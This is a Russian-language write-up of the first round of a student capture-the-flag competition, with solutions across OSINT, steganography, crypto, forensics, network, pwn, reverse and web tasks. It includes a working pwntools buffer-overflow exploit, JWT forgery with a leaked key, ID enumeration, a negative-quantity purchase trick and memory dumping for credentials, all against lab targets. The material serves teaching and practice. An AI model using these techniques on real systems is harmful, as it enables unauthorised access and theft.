---
# System prepended metadata

title: ООУИ 25/26. Первый тур

---

# ООУИ 25/26. Первый тур

[TOC]

## Osint
### Цитадель «Медный Ананас»
#### Балл: 100

#### Описание:
Агенты получают только фотографию фасада здания
![copper_skin](https://hackmd.io/_uploads/r1bkMEf7Wx.jpg)
с медно-золотыми панелями и повторяющимся треугольным узором, а также легенду о «Медном доме» / «Ананасе», где скрывается Глот.   Агенты! Мы загнали Глота в угол, но он залег на дно в одной из своих конспиративных квартир на Земле.
  Согласно перехваченным данным, пиратский барон выбрал для своего убежища здание с уникальной геометрией фасада. Местные жители называют это строение «Ананас» или «Медный дом» за его специфический цвет и текстуру. Структура здания блокирует наши сканеры, работая как клетка Фарадея.
  Чтобы найти уязвимость в чертежах и спланировать штурм, нам необходимо знать, кто спроектировал эту крепость. Глот доверяет только лучшим: известно, что архитектор носит титул Лорда и является автором знаковых футуристических сооружений по всему миру.
  **Миссия:**
  Вычислите архитектора этой цитадели.
  В качестве флага введите его **Фамилию** на английском языке.
  Формат флага:
  `CTF{Family}`

Задача — по этой картинке и подсказкам найти реальный объект на Земле и установить фамилию архитектора, известного как лорд и автор футуристических зданий.

#### Решение:
Участники загружают `copper_skin.jpg` в обратный поиск по картинкам (Google Images / Яндекс / TinEye) и видят совпадающие фотографии современного здания с тем же фасадом. Дальнейший поиск по запросам вроде `copper facade pineapple building architect lord` выводит на статьи об этом объекте и его создателе.

Из найденных материалов становится ясно, что архитектор — британский лорд с фамилией Foster, за которым числятся несколько знаковых футуристических проектов по всему миру. Фамилию записывают заглавными буквами в формате `CTF{Foster}` и получают флаг.

### Протокол «Зеркальная Оранжерея»
#### Балл: 100
##### Описание:
Разбирая зашифрованные архивы в бункере Глота, профессор Селезнёв наткнулся на защищённый файл, помеченный символом «Цветок‑Зеркало». Согласно записям, это био‑ключ, открывающий доступ к навигационным картам пиратов. Система защиты «Медуза» работает по принципу ассоциативной памяти. Она выдала нам два фрагмента данных: - повреждённый снимок растения из оранжереи Глота; - фрагмент описания из древнего земного архива, который пираты использовали как кодовую книгу: *(«… тропические регионы Америки. Там её называют "мексиканской астрой". Известно более 40 видов этого растения, преимущественно однолетников.»)* Чтобы взломать защиту, нужно восстановить целостность этих данных: - определить, о каком цветке идёт речь, и найти номер архивной записи, из которой взят этот текст. 

##### Решение:
Участники открывают Cosmos.jpg и в обратный поиск по картинкам (Google Images / Яндекс / TinEye) и видят совпадающие фотографии цветка, космея.
Далее они берут из условия ключевые слова цитаты — «мексиканская астра», «тропические регионы Америки», «известно более 40 видов, преимущественно однолетников» — и вбивают их в поиск; 
После этого участники ищут саму цитату целиком в электронных ботанических справочниках/энциклопедиях,
![Снимок экрана 2025-12-13 в 02.07.16](https://hackmd.io/_uploads/ByFEe79MZl.png)
 пока не находят нужную статью, где этот абзац приведён дословно и имеет конкретный номер записи — 162.  
Используя формат из условия, они подставляют название растения и номер записи в шаблон флага и получают ответ вида `CTF{Космея162}`.
## Stegano
### Зеркальная Библиотека

##### Описание:
Среди цифровых архивов Хранителей нашли странный документ формата DOCX.
  
  Говорят, что писец спрятал в нём ключ, используя искажённые буквы и 
  зеркальные изображения.
  
  Говорят, что две одинаковые картинки никогда не бывают полностью идентичны.


##### Решение:
1. **Скачиваем файл и ищем пароль в тексте.**  
   Берём файл из сервиса:

Открываем `zagadka.docx` в Word / LibreOffice и внимательно читаем текст.  
Часть букв выделена *курсивом* — если выписать только эти наклонные буквы подряд, получается осмысленное слово, например:
PixelKey42
Это и есть пароль к скрытому архиву, который нам понадобится дальше.
2. **DOCX распаковываем как ZIP и находим картинку.**  
DOCX — это zip‑архив, поэтому:
mkdir out_docx
unzip zagadka.docx -d out_docx
ls out_docx/word/media

В каталоге `out_docx/word/media` находим файл `image1.jpeg`. Легенда про «зеркальные изображения» и подсказка в описании намекают, что именно в этой картинке спрятан следующий уровень.
**Смотрим тело JPEG: по сигнатурам видно, что внутри лежат ещё файлы.**  
Для начала просто смотрим хвост файла через `xxd`:
cd out_docx/word/media
xxd image1.jpeg | tail
В конце файла помимо обычных байт JPEG видны читаемые строки:
....image1.png....PK...
....image2.png....PK...

То есть **внутри JPEG явно встречаются имена `image1.png` и `image2.png`, а также сигнатуры `PK`**, которые используются в ZIP‑архивах. Уже по этому можно догадаться, что к картинке пришит архив с двумя PNG.
3. **Определяем границу JPEG и пришитого хвоста.**  
Смотрим файл через `binwalk`, чтобы узнать реальный размер JPEG:
cd out_docx/word/media
binwalk image1.jpeg

Вывод показывает строку вида:
0 0x0 JPEG image, total size: 498804 bytes

Это значит: первые 498804 байта — корректный JPEG, а всё, что идёт после, — дополнительные данные (у нас туда приписан ZIP‑архив с PNG).

4. **Отрезаем хвост и сохраняем его как ZIP.**  
Сохраняем размер JPEG в переменную и вырезаем хвост:
OFFSET=498804

dd if=image1.jpeg of=hidden.zip bs=1 skip=$OFFSET

Теперь `hidden.zip` содержит только пришитый архив. Проверяем:
file hidden.zip
 

5. **Распаковываем ZIP с найденным паролем.**  
Создаём отдельную папку и распаковываем архив, используя пароль из шагa 1:
mkdir hidden_zip
cd hidden_zip
7z x ../hidden.zip # при запросе вводим пароль PixelKey42
![Снимок экрана 2025-12-13 в 03.22.18](https://hackmd.io/_uploads/HyRa-4qM-l.png)

В каталоге появляются два файла — `image1.png` и `image2.png`. Визуально они практически идентичны: это и есть «зеркальные» картинки, в отличиях которых закодирован флаг.

6. **Извлекаем LSB красного канала и восстанавливаем флаг.**  
По коду/подсказке известно, что флаг спрятан в младших битах красного канала второй картинки относительно первой. Пишем небольшой скрипт на Python:
#!/usr/bin/env python3
"""
Декодер LSB стеганографии из двух PNG изображений
image1.png - базовое изображение (шум)
image2.png - модифицированное с флагом в LSB первого канала
"""

import sys
from PIL import Image
import numpy as np
import io

def extract_flag_from_images(img1_path: str, img2_path: str) -> str:
    """
    Извлекает флаг из LSB стеганографии двух PNG изображений
    Читает младшие биты (LSB) первого канала image2.png
    """
    print(f"[+] Загружаем изображения: {img1_path}, {img2_path}")
    
    # Загружаем изображения
    img1 = Image.open(img1_path).convert('RGB')
    img2 = Image.open(img2_path).convert('RGB')
    
    print(f"[+] Размеры: {img1.size} -> массив {np.array(img1).shape}")
    
    # Конвертируем в numpy массивы
    base = np.array(img1)
    mod = np.array(img2)
    
    print(f"[+] Извлекаем LSB биты из первого канала image2.png...")
    
    # Собираем все LSB биты из первого канала (R) modified изображения
    # Порядок не важен - собираем все подряд
    bits = []
    h, w = mod.shape[:2]
    
    for y in range(h):
        for x in range(w):
            # LSB первого канала (красный)
            bit = mod[y, x, 0] & 1
            bits.append(str(bit))
    
    bit_string = ''.join(bits)
    print(f"[+] Собрано {len(bit_string)} бит ({len(bit_string)//8} байт)")
    
    # Преобразуем биты в символы
    flag = ''
    for i in range(0, len(bit_string), 8):
        byte_bits = bit_string[i:i+8]
        if len(byte_bits) < 8:
            break
            
        byte = int(byte_bits, 2)
        char = chr(byte)
        flag += char
        
        # Останавливаемся на конце флага
        if char == '}':
            break
    
    return flag.strip()

def main():
    if len(sys.argv) != 3:
        print("Usage: python3 lsb_decoder.py image1.png image2.png")
        print("image1.png - базовое (не обязательно для декодирования)")
        print("image2.png - содержит флаг в LSB")
        sys.exit(1)
    
    img1_path, img2_path = sys.argv[1], sys.argv[2]
    
    try:
        flag = extract_flag_from_images(img1_path, img2_path)
        print(f"\n🎉 ФЛАГ: {flag}")
        
        # Проверка формата
        if flag.startswith("CTF{") and flag.endswith("}"):
            print("✅ Формат флага корректный")
        else:
            print("⚠️  Возможная ошибка в извлечении")
            
    except Exception as e:
        print(f"[-] Ошибка: {e}")
        print("\nПроверьте:")
        print("- Правильные ли файлы PNG")
        print("- Одинаковые ли размеры изображений")
        print("- Не повреждены ли файлы")

if __name__ == "__main__":
    main()







Скрипт пробегает по всем пикселям, собирает младшие биты там, где различаются красные компоненты, группирует по 8 бит и переводит в ASCII. На выходе получаем строку вида:

CTF{LIBRARY_KEEPER_AB3c42dEF}
                 
## Crypto
### Перехват у Гидры: Ключ ГОРГОНЫ
###### Описание:
Дрон‑разведчик АКБ перехватил шифрограмму картинкой, передававшуюся между кораблями картеля Глота. Послание зашифровано с помощью шифра ГОРГОНЫ — подстановочной системы, в которой каждую букву латинского алфавита заменили тактическими пиктограммами. Разведка уже восстановила полный алфавит шифра и передала его командам в виде таблицы соответствий «буква → символ», однако само сообщение остаётся записанным только набором этих знаков.  
Командам предстоит, используя выданный алфавит ГОРГОНЫ, расшифровать перехваченное графическое сообщение и извлечь кодовое имя операции картеля.

#### Решение:

Участники открывают изображение‑алфавит (таблица ГОРГОНЫ)
и фиксируют, какой тактический символ соответствует каждой букве: треугольник, круг, квадрат, крест, волны, стрелка и т.д. Затем последовательно просматривают картинки с шифрограммой и для каждого нарисованного значка по таблице подбирают букву, выписывая результат в строку. После посимвольной замены всех пиктограмм получается осмысленный текст формата `HYDRA_GORGON_XXXXXX`, где шесть заглавных букв в конце — уникальный идентификатор операции .  


Флаг: `CTF{HYDRA_GORGON_XXXXXX}` — вместо `XXXXXX` подставляется полученная при расшифровке последовательность шести заглавных латинских букв, что соответствует шаблону `CTF{HYDRA_GORGON_[A-Z]{6}}`.

### Шифр Глота: Протокол «АГЕНТ»

##### Описание:
Сервис выдаёт файл `pirate_note.txt` с последовательностью чисел от 0 до 25 — это шифротекст, полученный аффинным шифром по алфавиту A–Z.  
Из легенды известно, что открытый текст начинается со слова `AGENTIS`, а дальше идёт имя предателя; флаг имеет формат `CTF{AGENTXXXXXXXXXX}`, где десять последних букв генерируются динамически и ограничены регуляркой `CTF{AGENTIS[A-Z]{8}}`.

##### Решение:
1. **Понимаем модель шифрования и кодировку букв.**  
   В хинте дана формула: аффинный шифр работает как \(E(x) = (a * x + b) mod 26\), где каждой букве сопоставлено число A=0, B=1, ..., Z=25. 
   Задача сводится к нахождению коэффициентов \(a\) и \(b\) по известному префиксу `AGENT` и затем применению обратной формулы \(D(y) = a^{-1} * (y - b) mod 26\) ко всем числам в `pirate_note.txt`.

2. **Находим \(a\) и \(b\) по известному началу `AGENT`.**  
   Переводим `AGENT` в числа: A=0, G=6, E=4, N=13, T=19 и берём первые пять чисел из `pirate_note.txt` как \(y_1..y_5\). 
   Для первой буквы A: \(a*0 + b ≡ y_1 (mod 26)\) ⇒ сразу получаем \(b = y_1\); для второй буквы G: \(6a + b ≡ y_2 (mod 26)\), подставляя \(b\), решаем сравнение по модулю 26 (перебором допустимых a, взаимно простых с 26) и находим конкретное значение \(a\) — в коде генератора это \(a = 5\), \(b = 8\).
3. **Находим обратный коэффициент \(a^{-1}\) и формулу расшифровки.**  
   Чтобы «разделить на \(a\)» в модульной арифметике, ищем число \(a^{-1}\), удовлетворяющее \(a * a^{-1} ≡ 1 (mod 26)\); для \(a = 5\) это \(a^{-1} = 21\), так как \(5 * 21 = 105 ≡ 1 (mod 26)\).[file:39]  
   Тогда формула дешифровки для любого числа \(y\) из файла:  
   \(x = 21 * (y - 8) mod 26\), где \(x\) — номер буквы в открытом тексте (0–25), который затем переводится обратно в символ A–Z.

4. **Расшифровываем все числа и собираем флаг.**  
   Пробегаем по всей последовательности из `pirate_note.txt`, для каждого числа \(y\) считаем \(x = 21 * (y - 8) mod 26\) и преобразуем \(x\) в букву латинского алфавита; на выходе получается строка длиной 15 символов вида `AGENTISXXXXXXXX`.

## Forensic

### Зеркало Архива: Следы Третьей Планеты
#### Балл: 200
#### Описание:
  Во время расследования на орбитальной станции был обнаружен повреждённый архив, который, по словам чат-птицы Говоруна, является одним из редких цветов-зеркал — устройств, фиксирующих события прошлого. Этот артефакт когда-то принадлежал исследователям системы Медузы, но, похоже, пираты Глота успели поработать с ним, пытаясь стереть важные улики.
  
  Командам предстоит проанализировать предоставленный архив, восстановить его структуру и обнаружить скрытое сообщение, оставленное неизвестным союзником внутри слоёв данных. Найденный флаг — это не просто ключ: это часть хроники, способная раскрыть очередной фрагмент заговора пиратского картеля.
#### Решение:
Просматриваем файлы в архиве, в каждом файле записан случайный текст. Можем предположить, что в каком-то из файлов будет записан флаг. Но даже если мы спарсим всем файлы, то флага не найдём. Вспоминаем, что в архиве можно оставлять комментарии к файлам, возмользуемся утилитой `zipinfo` и посмотрим комменты.
![image](https://hackmd.io/_uploads/SkZGD2_GWe.png)
Находим 1 коммент, который содержит hex-строку, декодим любымем методом, инвертируем и получаем флаг
![image](https://hackmd.io/_uploads/Sko7PhOMZx.png)

### Цветы-зеркала: Эхо диамантовой черепашки

##### Описание:
  На борту Пегаса сработали цветы-зеркала — они успели сохранить образ
  фрагмента файловой системы перед тем, как диамантовая черепашка Глота
  попыталась стереть следы своего присутствия.
  
  Громозека выгрузил снапшот в виде образа диска и передал его вам.
  
  Ваша задача — восстановить удалённые данные и найти код активации черепашки.
  
  **Формат флага:** `CTF{<Текст>}`


##### Решение:
1. **Скачиваем образ с сервера и определяем тип.**  
file pegasus_turtle_snapshot.img

`file` показывает, что это образ файловой системы ext4 (`Linux rev 1.0 ext4 filesystem`), значит его можно смонтировать как loop‑устройство.[file:38]

sudo mkdir /mnt/turtle
sudo mount -o loop pegasus_turtle_snapshot.img /mnt/turtle
ls /mnt/turtle


В корне видим несколько текстовых файлов: `meduza_report.txt`, `system.log`, `network_scan.txt`, `process_list.txt`. Из названия понятно, что нас интересует отчёт `meduza_report.txt`.[file:5]

3. **Читаем отчёт и находим base64‑строку.**  
cat /mnt/turtle/meduza_report.txt

Внутри файла — псевдолог инцидента и строка вида:
Classified Access Code : Q1RGe1RVUlRMRV9BQjNjNDJlZEZGfQ==


Комментарии внизу файла прямо подсказывают, что это код активации, закодированный стандартным base64 и подлежащий расшифровке.

4. **Декодируем base64 и получаем флаг.**  
Копируем base64‑строку и декодируем любым способом, например командой `base64`:
echo 'Q1RGe1RVUlRMRV9BQjNjNDJlZEZGfQ==' | base64 -d


На выходе получаем строку формата:
CTF{TURTLE_AB3c42dEF}
 Эту строку и отправляем как флаг.

## Network

### Следы пиратского вторжения
#### Балл: 250
#### Описание:
  Громозека перехватил сетевой трафик с одного из серверов системы Медузы. Похоже, что пираты Глота провели успешную атаку и похитили важные данные. 
  
  Проанализируйте захваченный трафик и восстановите хронологию атаки. Найдите все детали вторжения: IP-адрес злоумышленника, его действия и украденную информацию.
#### Решение:
Подключаем к серверу и видим, что нам надо ответить на вопросы. Открываем дамп трафика через wireshark и анализируем.
Посмотрим сколько хостов попало в трафик.
![image](https://hackmd.io/_uploads/BkmqK6Wfbg.png)
3 хоста в одной подсети - `192.168.0.1`,  `192.168.0.23`, `192.168.0.24`
Дальше посмотрим протоколы которые использовались
![image](https://hackmd.io/_uploads/r1eG56bG-l.png)
В первую очерерь посмотри TCP пакеты, отбросим TLS ,так как он шифрованный.
Фильтруем по ssh и видим что `192.168.0.23` сканировал SSH через nmap. Если мельком просмотреть все пакеты, то будет видно, что nmap'ом он сканил хост `192.168.0.24`.
![image](https://hackmd.io/_uploads/rJaF5p-MZx.png)
Фильтруем по data и видим, что `192.168.0.23` через `4444` порт отпрвлял команды на другой хост.
![image](https://hackmd.io/_uploads/S1kvjTWf-e.png)
Отфильтьруем по TCP потоком и находим, что злоумышленник прочитал файл `/home/user/Desktop/flag.txt`
![image](https://hackmd.io/_uploads/rJQk2p-zZg.png)
Смотрим другие потоки, злоумышленник закрепился на хосте вписав свой ssh ключ, отсюда узнаём что его username - `j.ross`
![image](https://hackmd.io/_uploads/rJ4VnpWMbe.png)
Находим потом, где он удаляет `.bash_history`
![image](https://hackmd.io/_uploads/Hk3Y26bGZg.png)
Отправляем ответы на сервер и получаем флаг!
![image](https://hackmd.io/_uploads/Hy-3npZz-l.png)
### Цветы-зеркала: Шепот пиратов Глота
#### Балл: 150

#### Описание:
Во время разведки на борту корабля «Пегас» робот Громозека активировал цветы-зеркала — сенсоры АКБ, фиксирующие каждый байт сетевого трафика. Пиратский дрон картеля Глота пытался установить скрытый канал связи с внешним узлом, маскируя управляющие команды под обычный HTTP‑трафик.  
Командам предстоит проанализировать перехваченный PCAP‑дамп и вытащить уникальный код активации пиратского дрона, спрятанный в потоке данных.

#### Решение:
Просматриваем дамп в Wireshark и фильтруем HTTP‑трафик между `10.0.0.42` и `198.51.100.5`. Ищем HTTP‑ответ `200 OK` с текстовым телом, в котором присутствует строка вида `activation_code=<что‑то_подозрительное>`.  
Находим поле `activation_code`, видим, что значение похоже на base64‑строку.
![Снимок экрана 2025-12-12 в 12.50.49](https://hackmd.io/_uploads/S1J9SDtG-g.png)
Декодируем её любым инструментом (например, Python, CyberChef или `base64 -d`) и получаем флаг формата  

![Снимок экрана 2025-12-12 в 12.51.45](https://hackmd.io/_uploads/BkU6SDFGZx.png)

## PWN

### Взлом терминала Глота
#### Балл: 200
#### Описание:
  Громозека обнаружил незащищенный терминал пиратского картеля Глота в системе Медузы. Пираты оставили свой сервер без присмотра, и теперь у вас есть шанс получить доступ к их секретам.
  
  Глот добавил базовую защиту от переполнения буфера, но его реализация содержит критическую уязвимость.
  
  Найдите способ обойти защиту и получить контроль над выполнением программы, чтобы вызвать секретную функцию доступа к архиву пиратского картеля.
#### Решение:
Анализируем бинарник
![image](https://hackmd.io/_uploads/S1Gy0a-MZx.png)
Закидываем бинарник в IDA. Ищем функцию `main` и видим в ней функцию `check_authorization`
![image](https://hackmd.io/_uploads/rkZc0TWfWl.png)
Открываем её и разбираемся в её логике
![image](https://hackmd.io/_uploads/rkkLkCbGZg.png)
Замечаем, что `j_strcpy_ifunc(buffer, input_text);`, копирует `input_text` в `buffer`, буфер размером 64 байта и может быть переполнен. Смотрим дальше и находим функцию `access_pirate_archive()` которая выводит флаг
![image](https://hackmd.io/_uploads/SJvdl0ZzWl.png)
Мы можем перезаписать адресс возврата функции `check_authorization()` на адресс возврата `access_pirate_archive()`
Посчитаем офсет до адресса возврата - 64b буфер + 8b фейковая канарейка + 4b падинг + 4b EBR, получаем 80 байт до адресса возврата
Найдём адресс функции `access_pirate_archive()`, можно скопировать из IDA, но для наглядности воспользуемся утилитой `objdump`
![image](https://hackmd.io/_uploads/HJ0TMC-fWg.png)
Теперь напишем сплойт, который достанем нам флаг
```python
#!/usr/bin/env python3
from pwn import *

HOST = 'localhost'
PORT = 1337

def exploit():
    conn = remote(HOST, PORT)
    conn.recvuntil('Введите код доступа: '.encode())
    
    access_pirate_archive_addr = 0x0804cb65
    offset = 80 
    
    payload = b'A' * offset + p32(access_pirate_archive_addr)
    
    conn.sendline(payload)
    try:
        response = conn.recvall(timeout=2)
        print(response.decode())
    except:
        print(conn.recv().decode())
    conn.close()

if __name__ == '__main__':
    exploit()
```
Пробросим порт через sicat, чтобы мы могли подключится через pwn
![image](https://hackmd.io/_uploads/S1-sUkcfWe.png)
Запускаем сплойт и забираем флаг
![image](https://hackmd.io/_uploads/SyLHQAbfWx.png)


## Reverse

### Шпионский Узел Третьей Планеты
#### Балл: 150
#### Описание:
  При обследовании заброшенного узла связи на орбите третьей планеты экспедиция Громозеки обнаружила странный артефакт — миниатюрный вычислительный модуль, скрытый в корпусе диамантовой черепашки. По данным Птицы-говоруна, такие устройства пиратский картель использует как шпионские закладки: они перехватывают трафик, собирают ключи доступа и периодически передают отчёты Глоту.

  Но этот экземпляр повреждён, и его программный код частично зашифрован. Чтобы понять, какие данные он успел украсть и куда отправляет отчёты, вам предстоит получить доступ к учетке высшего уровня.

  Говорят, что архитекторы Медузы называли такие структуры “цветами-зеркалами”… Возможно, в глубине кода вы увидите отражение истинного флага.
#### Решение:
Запускаем python-программу и видим, что можем логинится и регистрироваться, из здания узнаём, что нам надо получить доступ к учётке высшего уровня, то есть к admin. Python код обфусцирован с помощью pyarmor, и деобфусцировать быстро нам это скорее всего не удасться. Попробуем сделать memdump процесса, может какие нибудь данные утекуп в память. Я буду использовать `System Informer`. Делаем кастомный дамп с такими настройками.
![image](https://hackmd.io/_uploads/S1I5SC-GWg.png)
```bash
strings python.exe.dmp | grep pyarmor_runtime.pyd -A 10 -B 10
```
Чтобы не просматривать весь дамп, попробуем отфильтровать по `pyarmor_runtime.pyd`, ведь он подгружается для запуска программы, так мы сузим область памяти. Чуть полистав, находим логин и пароль от учётки.
![image](https://hackmd.io/_uploads/HkoEwC-G-x.png)
Логинимся и получаем заметку в hex, декодим и получаем флаг.
![image](https://hackmd.io/_uploads/HJ5p-Jqzbl.png)
![image](https://hackmd.io/_uploads/rkLJzycfZe.png)



### Модуль шифрования пиратов
#### Балл: 300
#### Описание: 
  Экспедиция нашла исполняемый файл модуля шифрования и зашифрованный файл с данными.
  
  Ваша задача — проанализировать бинарный файл, чтобы расшифровать данные и получить флаг.
#### Решение:
Скачиваем зашифрованный файл и шифратор. Для разнообразия теперь воспользуемя `Ghidra` дизассеблером. В `main` видим такие функции `get_encryption_key()`, `get_iv()`, `encrypt_data()`.
![image](https://hackmd.io/_uploads/r1RdtRbG-x.png)
Функция `encrypt_data()`, шифрует данные AES-256-CBC
![image](https://hackmd.io/_uploads/S1_N9AbfWx.png)
Функция `get_iv()`, берёт заданный IV `THIRD_PLANET_IV`, проверяет его длинну, если она меньше 16, то он дублирует строку, если строка проходит проверну, то он обрезает её до 16 символом. Так как длинна стандартного IV 15, то мы получаем `THIRD_PLANET_IVTHIRD_PLANET_IV`, а потом обрезается до `THIRD_PLANET_IVT`
![image](https://hackmd.io/_uploads/BJzeiCbMWx.png)
Функция `get_encryption_key()`, берёт строку `MEDUSA_SYSTEM_KEY_2024`, по символьно проходится по строке и ксорит c числом 42. Потом дополняет строку, так же как и IV.
![image](https://hackmd.io/_uploads/HJ8wnRZMZg.png)
Теперь мы можем попробовать рассшифровать файл, напишем простенький python-скрипт.
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

base_key = "MEDUSA_SYSTEM_KEY_2024"
key_str = bytearray(base_key.encode())

for i in range(len(key_str)):
    key_str[i] ^= 0x42
key = bytes(key_str)

while len(key) < 32:
    key += key
key = key[:32]

base_iv = "THIRD_PLANET_IV"
iv = base_iv.encode()

while len(iv) < 16:
    iv += iv
iv = iv[:16]


with open("mirror_flower.dat", "rb") as f:
    ciphertext = f.read()


cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(plaintext.decode())
```
Запускаем и получаем флаг.
![image](https://hackmd.io/_uploads/rkrUTAWGZl.png)


## Web

### Архив Знаний Системы Медузы
#### Балл: 100
#### Описание:
  При анализе архива знаний системы Медузы обнаружена аномалия. Птица-говорун подсказывает, что это может быть работа пиратского картеля — они часто скрывают свои сообщения, используя различные техники обхода фильтров.
  
  Громозека поручил вам расследовать это дело. Используйте свои навыки веб-исследования, чтобы найти секретную информацию пираткого картеля.
#### Решение:
На главной странице видим записи из архива оставленные пользователем gromozeka. Можем перейти ему в профиль.
![image](https://hackmd.io/_uploads/SkgSykzz-g.png)
Замечаем что в url передаёт id пользователя напрямую, проверим так ли это, зарегистрируемся и у нас тоже будет id в виде int значения.
![image](https://hackmd.io/_uploads/rJhjkJMGbg.png)
Попробуем перебрать значения, может есть ещё какие нибуль аккаунты, я буду использовать Intruder в Burp Suite. Сортируем по статус коду и находим аккаунт с id 1337.
![image](https://hackmd.io/_uploads/S1z7lJGMbg.png)
В заметках аккаунта находим флаг.
![image](https://hackmd.io/_uploads/HybvxkMfWx.png)

### Магазин артефактов Громозеки
#### Балл: 200
#### Описание:
  Громозека открыл магазин космических артефактов для экспедиции. В магазине можно купить различные товары, включая легендарный Артефакт Древних, содержащий формулу абсолютного топлива. 
  
  Заполучите эту формулу любой ценной!
#### Решение:
Зарегистрируем аккаунт и попробуем что нибудь купить на начальный баланс.
Смотрим запрос который был послан на сервер.
![image](https://hackmd.io/_uploads/BkyE-1MMZe.png)
Попробуем купить отрицателное значение товаров. Зарегистрируем новый аккаунт и поменяем куки. Отправялем запрос и видимо, что сервер успешно обработал наш запрос  и начислил нам валюту.
![image](https://hackmd.io/_uploads/Hy6cb1MM-x.png)
Теперь мы просто можешь купить `Артефакт Древних` и получить флаг!
![image](https://hackmd.io/_uploads/BkWpbkfGWg.png)


### Стена связи Громозеки
#### Балл: 300
#### Описание:
  Громозека сделал свою стену связи для экспедиции и оставил ключ у себя в профиле. Но вот не задача, но забыл пароль от аккаунта.
  
  Помогите ему получить доступ к аккаунту и заполучите ключ!
#### Решение:
Из задания следует, что нам надо получить доступ к аккаунту `gromozeka`. Зарегистрируемся и посмотрим какой функционал у нас есть. Но нам ничего не доступно. Попробум посканить директории на сайте. Я воспользуюсь `dirsearch` со стандартным словарём.
![image](https://hackmd.io/_uploads/Bk4R4yzGZx.png)
У нас нашлась директория `logs/`, а в ней файл логов `system.log`. Просматривая логи натыкаемся на утёкший JWT ключ.
![image](https://hackmd.io/_uploads/BJwVrkzGbl.png)
Мы можем подписывать куки, воспользуемся сервисом jwt.io. Поменяем `sub` на `gromozeka`, а `role` на `admin`.
![image](https://hackmd.io/_uploads/Byb6SJzGbx.png)
Меняем нашу куку на куку админа, заходим в профиль и забираем флаг.
![image](https://hackmd.io/_uploads/r1BY8kfM-e.png)



## Misc

### На борт!

#### Балл: 1
#### Описание:
Добро пожаловать на борт! Вот ваш первый флаг: `CTF{Innopolis25flag}`


#### Решение:
Сдать флаг из условия

### Едем на космодром!

#### Балл: 100
#### Описание:
Наш специальный Агент "Т" уже выехал к космодрому и готовится ко взлёту. Кстати, во время поездки в Москву он делал фото по ходу движения поезда. Можешь ли ты узнать, на каком именно пригородном поезде он ехал? Нужен номер рейса / номер поезда


#### Решение:
Посмотреть мета-данные картинок, и сопоставить эти даты время с названием станций в Яндекс.Расписании

![image](https://hackmd.io/_uploads/Hk59SVjGbg.png)

По таким временным интервалам есть только один поезд
![image](https://hackmd.io/_uploads/HkM3BNizWg.png)


